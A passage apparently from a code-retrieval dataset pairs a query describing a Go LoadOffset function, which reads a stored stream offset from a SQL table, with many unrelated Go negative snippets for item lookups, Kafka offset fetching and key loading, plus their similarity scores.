aws.String(key)},\n\t\t},\n\t})\n\tif err != nil {\n\t\tstore.Logger.Printf(\"ERROR: Failed to get item (key=%s): %s\", key, err)\n\t\treturn nil, err\n\t}\n\n\tif len(result.Item) == 0 {\n\t\tstore.Logger.Printf(\"DEBUG: Item not found (key=%s)\", key)\n\t\treturn nil, nil\n\t}\n\n\titem, err := unmarshalItem(kind, result.Item)\n\tif err != nil {\n\t\tstore.Logger.Printf(\"ERROR: Failed to unmarshal item (key=%s): %s\", key, err)\n\t\treturn nil, err\n\t}\n\n\tif item.IsDeleted() {\n\t\tstore.Logger.Printf(\"DEBUG: Attempted to get deleted item (key=%s)\", key)\n\t\treturn nil, nil\n\t}\n\n\treturn item, nil\n}", "func (n *Node) GetItem(kgname, item string, expectError bool) string {\n\tres, err := n.Client.Read(context.Background(), &client.ReadRequest{\n\t\tKeygroup: kgname,\n\t\tId: item,\n\t})\n\n\tif err != nil && !expectError {\n\t\tlog.Warn().Msgf(\"GetItem: error %s\", err)\n\t\tn.Errors++\n\t}\n\n\tif err == nil && expectError {\n\t\tlog.Warn().Msg(\"GetItem: Expected Error bot got no error\")\n\t\tn.Errors++\n\t}\n\n\tif res == nil {\n\t\treturn \"\"\n\t}\n\n\treturn res.Data\n}", "func (O ObjectCollection) GetItem(data *Data, i int) error {\n\tif data == nil {\n\t\tpanic(\"data cannot be nil\")\n\t}\n\tidx := C.int32_t(i)\n\tvar exists C.int\n\tif C.dpiObject_getElementExistsByIndex(O.dpiObject, idx, &exists) == C.DPI_FAILURE {\n\t\treturn errors.Errorf(\"exists(%d): %w\", idx, O.getError())\n\t}\n\tif exists == 0 {\n\t\treturn ErrNotExist\n\t}\n\tdata.reset()\n\tdata.NativeTypeNum = O.CollectionOf.NativeTypeNum\n\tdata.ObjectType = *O.CollectionOf\n\tdata.implicitObj = true\n\tif C.dpiObject_getElementValueByIndex(O.dpiObject, idx, data.NativeTypeNum, &data.dpiData) == C.DPI_FAILURE {\n\t\treturn errors.Errorf(\"get(%d[%d]): %w\", idx, data.NativeTypeNum, O.getError())\n\t}\n\treturn nil\n}", "func (a *Client) PublicGetItemByAppIDShort(params *PublicGetItemByAppIDParams, authInfo runtime.ClientAuthInfoWriter) (*PublicGetItemByAppIDOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPublicGetItemByAppIDParams()\n\t}\n\n\tif params.Context == nil {\n\t\tparams.Context = context.Background()\n\t}\n\n\tif params.RetryPolicy != nil {\n\t\tparams.SetHTTPClientTransport(params.RetryPolicy)\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"publicGetItemByAppId\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/platform/public/namespaces/{namespace}/items/byAppId\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &PublicGetItemByAppIDReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch v := result.(type) {\n\n\tcase *PublicGetItemByAppIDOK:\n\t\treturn v, nil\n\tcase *PublicGetItemByAppIDNotFound:\n\t\treturn nil, v\n\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Unexpected Type %v\", reflect.TypeOf(v))\n\t}\n}", "func (s *IdeaStorage) GetByID(ideaID int) (*models.Idea, error) {\n\tfor _, idea := range s.ideas {\n\t\tif idea.ID == ideaID {\n\t\t\treturn idea, nil\n\t\t}\n\t}\n\treturn nil, app.ErrNotFound\n}", "func (b *EtcdBackend) Get(ctx context.Context, key []byte) (*backend.Item, error) {\n\tre, err := b.clients.Next().Get(ctx, b.prependPrefix(key))\n\tif err != nil {\n\t\treturn nil, convertErr(err)\n\t}\n\tif len(re.Kvs) == 0 {\n\t\treturn nil, trace.NotFound(\"item %q is not found\", string(key))\n\t}\n\tkv := re.Kvs[0]\n\tbytes, err := unmarshal(kv.Value)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\treturn &backend.Item{Key: key, Value: bytes, ID: kv.ModRevision, LeaseID: kv.Lease}, nil\n}", "func (o *Order) findItem(id string) (int, error) {\n\tfor i := range o.Items {\n\t\tif o.Items[i].ID == id {\n\t\t\treturn i, nil\n\t\t}\n\t}\n\treturn 0, ErrItemNotFound\n}", "func (s *Service) GetItemCode(ctx context.Context, itemID string) (string, error) {\n\tlog.Println(\"msg\", \"servicec.GetItem\")\n\ttracingValues := tracers.ReadTracingHeadersFromContext(ctx)\n\tlog.Println(\"msg\", \"servicec.GetItem\", \"tracing values\", tracingValues)\n\n\tif itemID == \"\" {\n\t\treturn \"\", errors.New(\"must provide a valid item id\")\n\t}\n\tcode, ok := s.db[itemID]\n\tif !ok {\n\t\treturn \"\", nil\n\t}\n\treturn code, nil\n}", "func (conn *Connection) GetByID(id interface{}, i interface{}) error {\n\treturn conn.collection.FindId(id).One(i)\n}", "func (clgCtl *CatalogueController) GetByID(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tcode := params[\"id\"]\n\n\tlog.Printf(\"Retrieving Catalogue '%v'.\\n\", code)\n\n\tclgRepo := cataloguerepository.NewCatalogueRepository()\n\tresult, err := clgRepo.GetByID(r.Context(), code)\n\tif err != nil {\n\t\tclgCtl.WriteResponse(w, http.StatusInternalServerError, false, nil, err.Error())\n\t\treturn\n\t}\n\n\tclgCtl.WriteResponse(w, http.StatusOK, true, result, \"\")\n}", "func (s *Store) Get(item storage.Item) error {\n\tval, err := s.db.Get(key(item), nil)\n\n\tif errors.Is(err, leveldb.ErrNotFound) {\n\t\treturn storage.ErrNotFound\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err = item.Unmarshal(val); err != nil {\n\t\treturn fmt.Errorf(\"failed decoding value %w\", err)\n\t}\n\n\treturn nil\n}", "func (c *Module) GetByID(id string) interface{} {\n\n\tvar data Module // not use *Module\n\tcrud.Params(gt.Data(&data))\n\tif err := crud.GetByID(id).Error(); err != nil {\n\t\t//log.Log.Error(err.Error())\n\t\treturn result.CError(err)\n\t}\n\treturn result.GetSuccess(data)\n}", "func (db *DB) Get(id uint32) (*onix.Product, error) {\n\tvar b []byte\n\tif err := db.kv.View(func(tx *bolt.Tx) error {\n\t\tbkt := tx.Bucket([]byte(\"products\"))\n\t\tb = bkt.Get(u32tob(id))\n\t\tif b == nil {\n\t\t\treturn ErrNotFound\n\t\t}\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\tdec := db.decPool.Get().(*primedDecoder)\n\tdefer db.decPool.Put(dec)\n\treturn dec.Unmarshal(b)\n}", "func (r *InventoryItemsService) Get(profileId int64, projectId int64, id int64) *InventoryItemsGetCall {\n\tc := &InventoryItemsGetCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.profileId = profileId\n\tc.projectId = projectId\n\tc.id = id\n\treturn c\n}", "func (client *MemcachedClient4T) Get(key string) (item common.Item, err error) {\n\titems, err := client.parse.Retrieval(\"get\", []string{key})\n\n\tif err == nil {\n\t\tvar ok bool\n\t\tif item, ok = items[key]; !ok {\n\t\t\terr = fmt.Errorf(\"Memcached : no data error\")\n\t\t}\n\t}\n\n\treturn\n}", "func (s *storage) GetById(id string) (*entity.Deck, error) {\n\tif val, ok := s.decks[id]; ok {\n\t\treturn val, nil\n\t}\n\n\treturn nil, errors.New(\"could not find deck\")\n}", "func (txn *Txn) Get(key []byte) (item *Item, rerr error) {\n\tif len(key) == 0 {\n\t\treturn nil, ErrEmptyKey\n\t} else if txn.discarded {\n\t\treturn nil, ErrDiscardedTxn\n\t}\n\n\tif err := txn.db.isBanned(key); err != nil {\n\t\treturn nil, err\n\t}\n\n\titem = new(Item)\n\tif txn.update {\n\t\tif e, has := txn.pendingWrites[string(key)]; has && bytes.Equal(key, e.Key) {\n\t\t\tif isDeletedOrExpired(e.meta, e.ExpiresAt) {\n\t\t\t\treturn nil, ErrKeyNotFound\n\t\t\t}\n\t\t\t// Fulfill from cache.\n\t\t\titem.meta = e.meta\n\t\t\titem.val = e.Value\n\t\t\titem.userMeta = e.UserMeta\n\t\t\titem.key = key\n\t\t\titem.status = prefetched\n\t\t\titem.version = txn.readTs\n\t\t\titem.expiresAt = e.ExpiresAt\n\t\t\t// We probably don't need to set db on item here.\n\t\t\treturn item, nil\n\t\t}\n\t\t// Only track reads if this is update txn. No need to track read if txn serviced it\n\t\t// internally.\n\t\ttxn.addReadKey(key)\n\t}\n\n\tseek := y.KeyWithTs(key, txn.readTs)\n\tvs, err := txn.db.get(seek)\n\tif err != nil {\n\t\treturn nil, y.Wrapf(err, \"DB::Get key: %q\", key)\n\t}\n\tif vs.Value == nil && vs.Meta == 0 {\n\t\treturn nil, ErrKeyNotFound\n\t}\n\tif isDeletedOrExpired(vs.Meta, vs.ExpiresAt) {\n\t\treturn nil, ErrKeyNotFound\n\t}\n\n\titem.key = key\n\titem.version = vs.Version\n\titem.meta = vs.Meta\n\titem.userMeta = vs.UserMeta\n\titem.vptr = y.SafeCopy(item.vptr, vs.Value)\n\titem.txn = txn\n\titem.expiresAt = vs.ExpiresAt\n\treturn item, nil\n}" ]
[ "0.7705056", "0.73141557", "0.71873814", "0.7183088", "0.71113724", "0.6930943", "0.6901362", "0.6844753", "0.6808142", "0.6802855", "0.6713457", "0.6691677", "0.6685008", "0.6648123", "0.6610974", "0.6517523", "0.649654", "0.64963335", "0.6476716", "0.6416178", "0.6402383", "0.63608587", "0.6352628", "0.62954694", "0.62877667", "0.6267822", "0.6250126", "0.6226475", "0.6226363", "0.62145853", "0.6214014", "0.62076914", "0.61788", "0.61698025", "0.6150996", "0.6150155", "0.61355513", "0.61100197", "0.6091019", "0.60888255", "0.6078033", "0.60743535", "0.60487413", "0.6036867", "0.6033319", "0.6031425", "0.60117817", "0.60030216", "0.5989188", "0.59881216", "0.5980032", "0.59672046", "0.5959691", "0.59564954", "0.59208614", "0.59154797", "0.5913603", "0.59088427", "0.5908253", "0.5906605", "0.5905936", "0.5900608", "0.5898702", "0.58951986", "0.5872348", "0.587011", "0.5862906", "0.5856427", "0.58559024", "0.58370507", "0.58332694", "0.5828248", "0.58147913", "0.5807255", "0.5805702", "0.5802282", "0.58002144", "0.57997495", "0.57937115", "0.5785953", "0.5780384", "0.57794154", "0.5772544", "0.5764631", "0.57626605", "0.57585394", "0.57560927", "0.5753372", "0.57519794", "0.57514465", "0.57475585", "0.57470614", "0.57434046", "0.57342637", "0.5730341", "0.5715427", "0.57132256", "0.571104", "0.5710509", "0.57048476" ]
0.6235808
27
LoadOffset loads the last offset associated with the given source application key sk. ak is the 'owner' application key. If there is no offset associated with the given source application key, the offset is returned as zero and error as nil.
func (driver) LoadOffset( ctx context.Context, db *sql.DB, ak, sk string, ) (uint64, error) { row := db.QueryRowContext( ctx, `SELECT next_offset FROM stream_offset WHERE app_key = ? AND source_app_key = ?`, ak, sk, ) var o uint64 err := row.Scan(&o) if err == sql.ErrNoRows { err = nil } return o, err }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func recoveredDataOffset(chunkFetchOffset uint64, rs modules.ErasureCoder) uint64 {\n\t// If partialDecoding is not available we downloaded the whole sector and\n\t// recovered the whole chunk which means the offset and length are actually\n\t// equal to the chunkFetchOffset and chunkFetchLength.\n\tif !rs.SupportsPartialEncoding() {\n\t\treturn chunkFetchOffset\n\t}\n\t// Else we need to adjust the offset a bit.\n\trecoveredSegmentSize := uint64(rs.MinPieces() * crypto.SegmentSize)\n\treturn chunkFetchOffset % recoveredSegmentSize\n}", "func (c *GroupClient) FetchOffset(topic string, partition int32) (int64, error) {\n\treq := OffsetFetch.NewRequest(c.GroupId, topic, partition)\n\tresp := &OffsetFetch.Response{}\n\tif err := c.request(req, resp); err != nil {\n\t\treturn -1, fmt.Errorf(\"error making fetch offsets call: %w\", err)\n\t}\n\treturn parseOffsetFetchResponse(resp)\n}", "func FetchOffset() int {\n\toffset := intFromEnvVar(\"FETCH_OFFSET\", -1)\n\tif offset < 0 {\n\t\tpanic(errors.New(\"FETCH_OFFSET could not be parsed or is a negative number\"))\n\t}\n\treturn offset\n}", "func (t *tOps) offsetOf(f *tFile, key []byte) (offset int64, err error) {\n\tch, err := t.open(f)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer ch.Release()\n\treturn ch.Value().(*table.Reader).OffsetOf(key)\n}", "func (r *Reader) findOffset(i int, f *os.File) (dataOffset int64, err error) {\n\tif r.cacheIndex {\n\t\treturn r.indexCache[i], nil\n\t}\n\n\t// We do not have an index that is storing our offsets.\n\toffset := r.header.indexOffset + (int64(i) * entryLen)\n\tif _, err := f.Seek(offset, 0); err != nil {\n\t\treturn 0, fmt.Errorf(\"cannot reach offset for key supplied by the index: %s\", err)\n\t}\n\tif err := binary.Read(f, endian, &dataOffset); err != nil {\n\t\treturn 0, fmt.Errorf(\"cannot read a data offset in index: %s\", err)\n\t}\n\n\treturn dataOffset, nil\n}", "func (s *SinceDB) RessourceOffset(ressource string) (int, error) {\n\n\t// If a value not already stored exists\n\tif value, ok := s.offsets.Load(ressource); ok {\n\t\toffset, err := strconv.Atoi(string(value.([]byte)))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\treturn offset, nil\n\t}\n\n\t// Try to find value in storage\n\tv, err := s.options.Storage.Get(ressource, s.options.Identifier)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\toffset, _ := strconv.Atoi(string(v))\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn offset, nil\n}", "func followOffset(global []byte, value uint32, requiredSize int) ([]byte, error) {\n\toffset := int(value)\n\tif isRVA(value) {\n\t\toffset = rvaOffset(value)\n\t}\n\tif len(global) < offset+requiredSize {\n\t\treturn nil, errors.New(\"invalid data\")\n\t}\n\treturn global[offset:], nil\n}", "func (m *FlatMemory) LoadAddress(addr uint16) uint16 {\n\tif (addr & 0xff) == 0xff {\n\t\treturn uint16(m.b[addr]) | uint16(m.b[addr-0xff])<<8\n\t}\n\treturn uint16(m.b[addr]) | uint16(m.b[addr+1])<<8\n}", "func (kp *KeyPool) loadKey(loadKey *signkeys.PublicKey) (*[signkeys.KeyIDSize]byte, error) {\n\tif kp.Generator.Usage != \"\" && loadKey.Usage != kp.Generator.Usage {\n\t\t// Don't load if usage is a mismatch\n\t\treturn nil, ErrBadUsage\n\t}\n\tif loadKey.Expire < times.Now() {\n\t\t// Don't load expired keys\n\t\treturn nil, ErrExpired\n\t}\n\tif !kp.HasVerifyKey(&loadKey.Signer, true) {\n\t\t// Don't load keys without matching signature\n\t\treturn nil, ErrBadSigner\n\t}\n\tif !loadKey.Verify(&loadKey.Signer) {\n\t\t// Don't load keys without matching signature\n\t\treturn nil, ErrBadSigner\n\t}\n\tif _, exists := kp.keys[loadKey.KeyID]; exists {\n\t\treturn &loadKey.KeyID, ErrExists\n\t}\n\tkp.keys[loadKey.KeyID] = loadKey\n\treturn &loadKey.KeyID, nil\n}", "func (s *syncMapInt64) load(key int) int64 {\n\ts.Lock()\n\tdefer s.Unlock()\n\treturn s.m[key]\n}", "func (m *Ints) Load(addr uint) (int, error) {\n\tif err := m.checkLimit(addr, \"load\"); err != nil {\n\t\treturn 0, err\n\t}\n\n\tif m.PageSize == 0 || len(m.pages) == 0 {\n\t\treturn 0, nil\n\t}\n\n\tpageID := m.findPage(addr)\n\tbase := m.bases[pageID]\n\tpage := m.pages[pageID]\n\tif i := int(addr) - int(base); 0 <= i && i < len(page) {\n\t\treturn page[i], nil\n\t}\n\n\treturn 0, nil\n}", "func (o *GetModerationRulesParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func getOffset(n string, offset uint32, fb byte) ([4]byte, bool) {\n\tfilesL.RLock()\n\tdefer filesL.RUnlock()\n\n\t/* Get hold of the file */\n\tf, ok := files[n]\n\tif !ok {\n\t\tlog.Panicf(\"no file %q for offset\", n)\n\t}\n\n\t/* Make sure we have enough file */\n\tvar a [4]byte\n\tif uint32(len(f.contents)-1) < offset {\n\t\treturn a, false\n\t}\n\ta[0] = fb\n\tcopy(a[1:], f.contents[offset:])\n\treturn a, true\n}", "func (o *GetSearchClinicsParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (a *AegisResource) InitOffset(c context.Context) {\n\ta.d.InitOffset(c, a.offset, a.attrs, []string{})\n\tnowFormat := time.Now().Format(\"2006-01-02 15:04:05\")\n\ta.offset.SetOffset(0, nowFormat)\n}", "func (s *MapSource) Load(_ *schema.StructValidator) (err error) {\n\treturn s.koanf.Load(confmap.Provider(s.m, constDelimiter), nil)\n}", "func Load(dst interface{}, val, key string) error {\n\treturn DefaultReader.Load(dst, val, key)\n}", "func (driver) InsertOffset(\n\tctx context.Context,\n\ttx *sql.Tx,\n\tak, sk string,\n\tn uint64,\n) (_ bool, err error) {\n\tdefer sqlx.Recover(&err)\n\n\treturn sqlx.TryExecRow(\n\t\tctx,\n\t\ttx,\n\t\t`INSERT INTO stream_offset SET\n\t\t\tapp_key = ?,\n\t\t\tsource_app_key = ?,\n\t\t\tnext_offset = ?\n\t\tON DUPLICATE KEY UPDATE\n\t\t\tapp_key = app_key`, // do nothing\n\t\tak,\n\t\tsk,\n\t\tn,\n\t), nil\n}", "func (zmap *Zapmap) Load() (err error) {\n\tzmap.file.Open(READ_ONLY)\n\tdefer zmap.file.Close()\n\tif zmap.file.size == 0 {return}\n\tzmap.Lock()\n\tf := func(rec *GenericRecord) error {\n\t\tif rec.ksz > 0 {\n\t\t\tkey, zrecs := rec.ToZapRecordList(zmap.debug)\n\t\t\tzmap.zapmap[key] = zrecs // Don't need to use gateway because zmap is fresh\n\t\t}\n\t\treturn nil\n\t}\n\terr = zmap.file.Process(f, ZAP_RECORD, true)\n\tzmap.Unlock()\n\treturn\n}", "func (fm *FileMap) FindOffset(offset int) (int, int) {\n\tif offset < 1 {\n\t\treturn 0, 0\n\t}\n\n\tif offset >= len(fm.Text)-1 {\n\t\tr := len(fm.Lines) - 1\n\t\tc := fm.Lines[r].end - fm.Lines[r].start\n\t\treturn r, c\n\t}\n\n\t// Find smallest index such that offset occurs before the end of the line\n\tidx := sort.Search(len(fm.Lines), func(i int) bool {\n\t\treturn offset <= fm.Lines[i].end\n\t})\n\t// Insure line finding is working - note we've already checked boundary case\n\t// offsets above, so if we fail here, it's a full-on bug\n\tif idx < len(fm.Lines) {\n\t\tle := fm.Lines[idx]\n\t\tif offset >= le.start && offset <= le.end {\n\t\t\treturn idx, offset - le.start\n\t\t}\n\t}\n\n\tpanic(\"Impossible logic condition in FileMap->FindOffset\")\n}", "func (o *NarrowSearchRecipeParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (o *AdminGetBannedDevicesV4Params) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (fm *FieldModelMapInt32OptionalBytes) Offset() int {\n if (fm.buffer.Offset() + fm.FBEOffset() + fm.FBESize()) > fm.buffer.Size() {\n return 0\n }\n\n fbeMapOffset := int(fbe.ReadUInt32(fm.buffer.Data(), fm.buffer.Offset() + fm.FBEOffset()))\n return fbeMapOffset\n}", "func (c *KafkaClient) GetOffset(group string, topic string, partition int32) (int64, error) {\n\tlog.Infof(\"Getting offset for group %s, topic %s, partition %d\", group, topic, partition)\n\tcoordinator, err := c.metadata.OffsetCoordinator(group)\n\tif err != nil {\n\t\treturn InvalidOffset, err\n\t}\n\n\trequest := NewOffsetFetchRequest(group)\n\trequest.AddOffset(topic, partition)\n\tbytes, err := c.syncSendAndReceive(coordinator, request)\n\tif err != nil {\n\t\treturn InvalidOffset, err\n\t}\n\tresponse := new(OffsetFetchResponse)\n\tdecodingErr := c.decode(bytes, response)\n\tif decodingErr != nil {\n\t\tlog.Errorf(\"Could not decode an OffsetFetchResponse. Reason: %s\", decodingErr.Reason())\n\t\treturn InvalidOffset, decodingErr.Error()\n\t}\n\n\ttopicOffsets, exist := response.Offsets[topic]\n\tif !exist {\n\t\treturn InvalidOffset, fmt.Errorf(\"OffsetFetchResponse does not contain information about requested topic\")\n\t}\n\n\tif offset, exists := topicOffsets[partition]; !exists {\n\t\treturn InvalidOffset, fmt.Errorf(\"OffsetFetchResponse does not contain information about requested partition\")\n\t} else if offset.Error != ErrNoError {\n\t\treturn InvalidOffset, offset.Error\n\t} else {\n\t\treturn offset.Offset, nil\n\t}\n}", "func Load(s *aklib.DBConfig, pwd []byte, priv string) (*Wallet, error) {\n\tvar wallet = Wallet{\n\t\tAddressChange: make(map[string]struct{}),\n\t\tAddressPublic: make(map[string]struct{}),\n\t}\n\n\terr := s.DB.View(func(txn *badger.Txn) error {\n\t\terr := db.Get(txn, []byte(priv), &wallet, db.HeaderWallet)\n\t\treturn err\n\t})\n\treturn &wallet, err\n}", "func (amd *AppMultipleDatabus) InitOffset(c context.Context) {\n\tamd.d.InitOffset(c, amd.offsets[0], amd.attrs, amd.tableName)\n}", "func (s *Arena) getNodeOffset(nd *node) uint32 {\n\tif nd == nil {\n\t\treturn 0\n\t}\n\tval := uint32(uintptr(unsafe.Pointer(nd)) - uintptr(unsafe.Pointer(&s.data[0])))\n\treturn val\n\n}", "func (m *Uint64) Load(key interface{}) (val uint64) {\n\treturn m.Value(key).Load()\n}", "func (b *blockEnc) matchOffset(offset, lits uint32) uint32 {\n\t// Check if offset is one of the recent offsets.\n\t// Adjusts the output offset accordingly.\n\t// Gives a tiny bit of compression, typically around 1%.\n\tif true {\n\t\tif lits > 0 {\n\t\t\tswitch offset {\n\t\t\tcase b.recentOffsets[0]:\n\t\t\t\toffset = 1\n\t\t\tcase b.recentOffsets[1]:\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 2\n\t\t\tcase b.recentOffsets[2]:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 3\n\t\t\tdefault:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset += 3\n\t\t\t}\n\t\t} else {\n\t\t\tswitch offset {\n\t\t\tcase b.recentOffsets[1]:\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 1\n\t\t\tcase b.recentOffsets[2]:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 2\n\t\t\tcase b.recentOffsets[0] - 1:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset = 3\n\t\t\tdefault:\n\t\t\t\tb.recentOffsets[2] = b.recentOffsets[1]\n\t\t\t\tb.recentOffsets[1] = b.recentOffsets[0]\n\t\t\t\tb.recentOffsets[0] = offset\n\t\t\t\toffset += 3\n\t\t\t}\n\t\t}\n\t} else {\n\t\toffset += 3\n\t}\n\treturn offset\n}", "func (p *NoteStoreClient) FindNoteOffset(ctx context.Context, authenticationToken string, filter *NoteFilter, guid GUID) (r int32, err error) {\n var _args95 NoteStoreFindNoteOffsetArgs\n _args95.AuthenticationToken = authenticationToken\n _args95.Filter = filter\n _args95.GUID = guid\n var _result96 NoteStoreFindNoteOffsetResult\n if err = p.Client_().Call(ctx, \"findNoteOffset\", &_args95, &_result96); err != nil {\n return\n }\n switch {\n case _result96.UserException!= nil:\n return r, _result96.UserException\n case _result96.SystemException!= nil:\n return r, _result96.SystemException\n case _result96.NotFoundException!= nil:\n return r, _result96.NotFoundException\n }\n\n return _result96.GetSuccess(), nil\n}", "func (c *Coordinator) GetOffset(topic string, partition int32) (int64, error) {\n\tb, err := c.client.Coordinator(c.cfg.GroupID)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treq := &sarama.OffsetFetchRequest{\n\t\tConsumerGroup: c.cfg.GroupID,\n\t\tVersion: offsetFetchRequestVersion,\n\t}\n\treq.AddPartition(topic, partition)\n\tresp, err := b.FetchOffset(req)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tblock := resp.GetBlock(topic, partition)\n\tif block == nil {\n\t\treturn 0, fmt.Errorf(\"nil block returned from fetch offset\")\n\t}\n\tif block.Err != sarama.ErrNoError {\n\t\treturn 0, block.Err\n\t}\n\treturn block.Offset, nil\n}", "func (o *ListScansParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (m *arenaManager) loadArena(aid int) error {\n\tif m.arenas[aid-m.baseAid] != nil {\n\t\treturn nil\n\t}\n\n\tm.fullPath = append(m.fullPath[:0], m.dir...)\n\tm.fullPath = append(m.fullPath, '/')\n\tm.fullPath = strconv.AppendInt(m.fullPath, int64(aid), 10)\n\tm.fullPath = append(m.fullPath, cArenaFileSuffix...)\n\taa, err := newArena(string(m.fullPath), m.conf.arenaSize)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tm.inMem++\n\tm.arenas[aid-m.baseAid] = aa\n\treturn nil\n}", "func GetFileFromOffset(filesSizes []int64, offset int64) (int, int64, error) {\n\treadOffset := offset\n\tuploadedFilesSize := int64(0)\n\tidx := len(filesSizes)\n\t// detect which file will be resumed upload at\n\tfor i, size := range filesSizes {\n\t\tuploadedFilesSize += size\n\t\t// the current file should be restarted at\n\t\tif uploadedFilesSize > offset {\n\t\t\tidx = i\n\t\t\tbreak\n\t\t}\n\t\t// subtract prev uploaded files sizes to get absolute offset at file\n\t\treadOffset -= size\n\t}\n\tif offset > uploadedFilesSize {\n\t\treturn 0, int64(0), errors.New(\"offset is larger than all files\")\n\t}\n\treturn idx, readOffset, nil\n}", "func (s *SearchFileDownloadsRequest) GetOffset() (value string) {\n\tif s == nil {\n\t\treturn\n\t}\n\treturn s.Offset\n}", "func (c *offsetCoordinator) Offset(\n\ttopic string, partition int32) (\n\toffset int64, metadata string, resErr error) {\n\n\tretry := &backoff.Backoff{Min: c.conf.RetryErrWait, Jitter: true}\n\tfor try := 0; try < c.conf.RetryErrLimit; try++ {\n\t\tif try != 0 {\n\t\t\ttime.Sleep(retry.Duration())\n\t\t}\n\n\t\t// get a copy of our connection with the lock, this might establish a new\n\t\t// connection so can take a bit\n\t\tconn, err := c.broker.coordinatorConnection(c.conf.ConsumerGroup)\n\t\tif conn == nil {\n\t\t\tresErr = err\n\t\t\tcontinue\n\t\t}\n\t\tdefer func(lconn *connection) { go c.broker.conns.Idle(lconn) }(conn)\n\n\t\tresp, err := conn.OffsetFetch(&proto.OffsetFetchReq{\n\t\t\tConsumerGroup: c.conf.ConsumerGroup,\n\t\t\tTopics: []proto.OffsetFetchReqTopic{\n\t\t\t\t{\n\t\t\t\t\tName: topic,\n\t\t\t\t\tPartitions: []int32{partition},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\tresErr = err\n\n\t\tswitch err {\n\t\tcase io.EOF, syscall.EPIPE:\n\t\t\tlog.Debugf(\"connection died while fetching offsets on %s:%d for %s: %s\",\n\t\t\t\ttopic, partition, c.conf.ConsumerGroup, err)\n\t\t\t_ = conn.Close()\n\n\t\tcase nil:\n\t\t\tfor _, t := range resp.Topics {\n\t\t\t\tfor _, p := range t.Partitions {\n\t\t\t\t\tif t.Name != topic || p.ID != partition {\n\t\t\t\t\t\tlog.Warningf(\"offset response with unexpected data for %s:%d\",\n\t\t\t\t\t\t\tt.Name, p.ID)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tif p.Err != nil {\n\t\t\t\t\t\treturn 0, \"\", p.Err\n\t\t\t\t\t}\n\t\t\t\t\t// This is expected in and only in the case where the consumer group, topic\n\t\t\t\t\t// pair is brand new. However, it appears there may be race conditions\n\t\t\t\t\t// where Kafka returns -1 erroneously. Not sure how to handle this yet,\n\t\t\t\t\t// but adding debugging in the meantime.\n\t\t\t\t\tif p.Offset < 0 {\n\t\t\t\t\t\tlog.Errorf(\"negative offset response %d for %s:%d\",\n\t\t\t\t\t\t\tp.Offset, t.Name, p.ID)\n\t\t\t\t\t}\n\t\t\t\t\treturn p.Offset, p.Metadata, nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn 0, \"\", errors.New(\"response does not contain offset information\")\n\t\t}\n\t}\n\n\treturn 0, \"\", resErr\n}", "func getLong(log log.T, byteArray []byte, offset int) (result int64, err error) {\n\tbyteArrayLength := len(byteArray)\n\tif offset > byteArrayLength-1 || offset+8 > byteArrayLength || offset < 0 {\n\t\tlog.Error(\"getLong failed: Offset is invalid.\")\n\t\treturn 0, errors.New(\"Offset is outside the byte array.\")\n\t}\n\treturn bytesToLong(log, byteArray[offset:offset+8])\n}", "func (s *Index) loadFromDS() error {\n\tvar index IndexSnapshot\n\tif _, err := s.store.GetLastCheckpoint(&index); err != nil {\n\t\treturn err\n\t}\n\ts.index = index\n\treturn nil\n}", "func (this *school) ReadFrom(r io.Reader) (int64, error) {\n\t// var addrs = map[uint64]uintptr{}\n\tvar header [2]uint64\n\tn, err := io.ReadAtLeast(r, ((*[16]byte)(unsafe.Pointer(&header[0])))[:], 16)\n\tif err == nil {\n\t\tif header[0] != 11738600557355911093 {\n\t\t\terr = errors.New(\"school: 